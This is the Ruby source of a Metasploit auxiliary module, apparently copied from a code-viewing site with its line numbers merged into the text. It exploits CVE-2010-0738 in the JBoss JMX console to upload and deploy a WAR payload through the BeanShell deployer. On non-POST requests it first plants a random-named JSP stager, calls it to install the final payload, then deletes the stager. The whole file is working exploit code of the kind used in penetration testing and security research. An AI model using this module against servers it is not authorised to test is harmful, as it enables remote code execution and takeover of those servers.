Path: blob/master/modules/auxiliary/admin/http/jboss_bshdeployer.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HTTP::JBoss78def initialize9super(10'Name' => 'JBoss JMX Console Beanshell Deployer WAR Upload and Deployment',11'Description' => %q{12This module can be used to install a WAR file payload on JBoss servers that have13an exposed "jmx-console" application. The payload is put on the server by14using the jboss.system:BSHDeployer's createScriptDeployment() method.15},16'Author' => [17'us3r777 <us3r777[at]n0b0.so>'18],19'References' => [20[ 'CVE', '2010-0738' ], # using a VERB other than GET/POST21[ 'OSVDB', '64171' ],22[ 'URL', 'https://www.redteam-pentesting.de/en/publications/jboss/-bridging-the-gap-between-the-enterprise-and-you-or-whos-the-jboss-now' ],23[ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=574105' ]24],25'Actions' => [26['Deploy', { 'Description' => 'Create and deploy app (WAR) to deliver payload' }],27['Undeploy', { 'Description' => 'Remove app (WAR) for cleanup' }]28],29'DefaultAction' => 'Deploy',30'License' => BSD_LICENSE,31'Notes' => {32'Stability' => [CRASH_SAFE],33'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK],34'Reliability' => []35}36)3738register_options(39[40Opt::RPORT(8080),41OptString.new('APPBASE', [ true, 'Application base name', 'payload']),42OptPath.new('WARFILE', [ false, 'The WAR file to deploy'])43]44)45end4647def deploy_action(app_base, war_data)48encoded_payload = Rex::Text.encode_base64(war_data).gsub(/\n/, '')4950if http_verb == 'POST'51print_status('Deploying payload...')52opts = {53file: "#{app_base}.war",54contents: encoded_payload55}56else57print_status('Deploying stager...')58stager_name = Rex::Text.rand_text_alpha(rand(8..15))59stager_contents = stager_jsp(app_base)60opts = {61dir: "#{stager_name}.war",62file: "#{stager_name}.war/#{stager_name}.jsp",63contents: Rex::Text.encode_base64(stager_contents).gsub(/\n/, '')64}65end6667bsh_payload = generate_bsh(:create, opts)68package = deploy_bsh(bsh_payload)6970if package.nil?71print_error('Deployment failed')72return73end7475print_good('Deployment successful')7677return if http_verb == 'POST'7879# call the stager to deploy our real payload war80stager_uri = '/' + stager_name + '/' + stager_name + '.jsp'81payload_data = "#{Rex::Text.rand_text_alpha(rand(8..15))}=#{Rex::Text.uri_encode(encoded_payload)}"82print_status("Calling stager #{stager_uri} to deploy final payload...")83res = deploy(84'method' => 'POST',85'data' => payload_data,86'uri' => stager_uri87)88if res && res.code == 20089print_good('Payload deployed')90else91print_error('Failed to deploy final payload')92end9394# Remove the stager95print_status('Removing stager...')96files = {}97files[:stager_jsp_name] = "#{stager_name}.war/#{stager_name}.jsp"98files[:stager_base] = "#{stager_name}.war"99delete_script = generate_bsh(:delete, files)100res = deploy_package(delete_script, package)101if res.nil?102print_error('Unable to remove Stager')103else104print_good('Stager successfully removed')105end106end107108def undeploy_action(app_base)109# Undeploy the WAR and the stager if needed110print_status("Undeploying #{app_base} by deleting the WAR file via BSHDeployer...")111112files = {}113files[:app_base] = "#{app_base}.war"114delete_script = generate_bsh(:delete, files)115116package = deploy_bsh(delete_script)117if package.nil?118print_error('Unable to remove WAR')119else120print_good('Successfully removed')121end122end123124def run125app_base = datastore['APPBASE']126127case action.name128when 'Deploy'129unless datastore['WARFILE'] && File.exist?(datastore['WARFILE'])130print_error('WAR file not found')131return132end133war_data = File.read(datastore['WARFILE'], mode: 'rb')134deploy_action(app_base, war_data)135when 'Undeploy'136undeploy_action(app_base)137end138end139end140141142